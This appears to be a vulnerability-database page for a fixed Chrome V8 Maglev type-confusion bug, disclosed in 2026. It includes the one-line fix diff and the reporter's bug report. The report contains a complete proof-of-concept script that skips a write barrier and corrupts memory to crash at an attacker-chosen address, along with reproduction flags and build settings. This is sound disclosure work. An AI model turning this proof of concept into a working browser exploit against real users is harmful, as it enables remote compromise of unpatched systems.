High chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker491884710
Fix commit433b2912c5cb (v8/v8) +1/-1
CISA KEVNot listed
CreditedProject WhatForLunch (@pjwhatforlunch)
Disclosed2026-04-07

Files Changed

  • src/maglev/maglev-graph-builder.cc
From 433b2912c5cb94ed0979c8284e96e4d08416b620 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <[email protected]>
Date: Thu, 12 Mar 2026 16:59:23 +0100
Subject: [PATCH] [maglev] Avoid eliding Smi checks too aggressively

Fixed: 491884710
Change-Id: Iea557349d721a2ef151d3002a853fd3998755411
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7661984
Commit-Queue: Victor Gomes <[email protected]>
Auto-Submit: Darius Mercadier <[email protected]>
Reviewed-by: Victor Gomes <[email protected]>
Cr-Commit-Position: refs/heads/main@{#105781}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 5e09658..0b2eed6 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4179,7 +4179,7 @@
 ReduceResult MaglevGraphBuilder::BuildCheckSmi(
     ValueNode* object, bool elidable,
     AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
-  if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
+  if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object;
   // Check for the empty type first so that we catch the case where
   // GetType(object) is already empty.
   if (IsEmptyNodeType(IntersectType(
Loading diff…

Original Bug Report

reported by [email protected]

Maglev: incorrect phi untagging can lead to exploitable write barrier omission

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.

VULNERABILITY DETAILS

Maglev: incorrect phi untagging can lead to exploitable write barrier omission

In MaglevRepresentationSelector::EnsurePhiInputsTagged,

void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  // Since we are untagging some Phis, it's possible that one of the inputs of
  // {phi} is an untagged Phi. However, if this function is called, then we've
  // decided that {phi} is going to stay tagged, and thus, all of its inputs
  // should be tagged. We'll thus insert tagging operation on the untagged phi
  // inputs of {phi}.

  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
    ValueNode* input = phi->input(i).node();
    if (Phi* phi_input = input->TryCast<Phi>()) {
      phi->change_input(i,
                        EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                                        BasicBlockPosition::End(), nullptr, i));
    } else {
      // Inputs of Phis that aren't Phi should always be tagged (except for the
      // phis untagged by this class, but {phi} isn't one of them).
      DCHECK(input->is_tagged());
    }
  }
}

That call does not pass force_smi. For an Int32 phi, EnsurePhiTagged therefore emits Int32ToNumber[kCanonicalizeSmi].

In MaglevGraphBuilder::TryBuildStoreField,

MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
    compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
    compiler::AccessMode access_mode, compiler::NameRef name) {
  // ...
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
  }
  // ...
  StoreTaggedMode store_mode = access_info.HasTransitionMap()
                                   ? StoreTaggedMode::kTransitioning
                                   : StoreTaggedMode::kDefault;
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
        store_target, value, field_index.offset(), store_mode, name));
  }
  // ...
}

considering the following JavaScript code:

function f(a, b, x) {
  let y = a ? x + 1 : 1;
  let t = y | 0;
  let z = b ? y : 1;
  obj.x = z;
  return obj.x;
}

The first phi y is untagged toInt32 because of y | 0. And EnsurePhiInputsTagged retags it for the outer tagged phi z. If the function is warmed up with Smi, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store. If x is 1073741823, the a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. Int32ToNumber[kCanonicalizeSmi] therefore creates a HeapNumber, but the Smi-field store still skips the barrier, which creates an untracked pointer to a heap object.

The following POC demonstrates a SIGSEGV in cage + controlled address (set by MARKER) on release build.

const MAX_SMI = 1073741823;

function i2f(high32, low32) {
  const buf = new ArrayBuffer(8);
  const dv = new DataView(buf);
  dv.setUint32(0, low32, true);
  dv.setUint32(4, high32, true);
  return dv.getFloat64(0, true);
}

function nestedPhiStore(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);

const obj = {x: 1};

for (let i = 0; i < 4; i++) {
  gc();
}

print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));

%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
  nestedPhiStore(obj, true, true, i & 1023);
  nestedPhiStore(obj, false, true, i & 1023);
  nestedPhiStore(obj, true, false, i & 1023);
}

%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);

for (let round = 0; round < 120; round++) {
  const tmp = [];
  for (let i = 0; i < 20000; i++) {
    tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
  }

  if ((round % 10) === 9) {
    print("completed round", round + 1);
  }
}

print("forcing major gc");
gc({ type: "major" });

print("about to read corrupted slot");
print(obj.x + 0.5);

VERSION

Commit: f285826766bdccddf9ccdabb3f47a3552eafebdb (Wed Mar 11 19:54:08 2026)

Bisect: commit 58c40ce533c9a5fc8a21cfae979880c0320862d8 (Mon Jan 19 19:13:44 2026 +0100) introduces the problem.

REPRODUCTION CASE

exp.js is attached. Please run with:

out.gn/x64.release/d8 –allow-natives-syntax –expose-gc –maglev-untagged-phis ./exp.js

args.gn

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: DCHECK failure, SEGV on release

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

View on issue tracker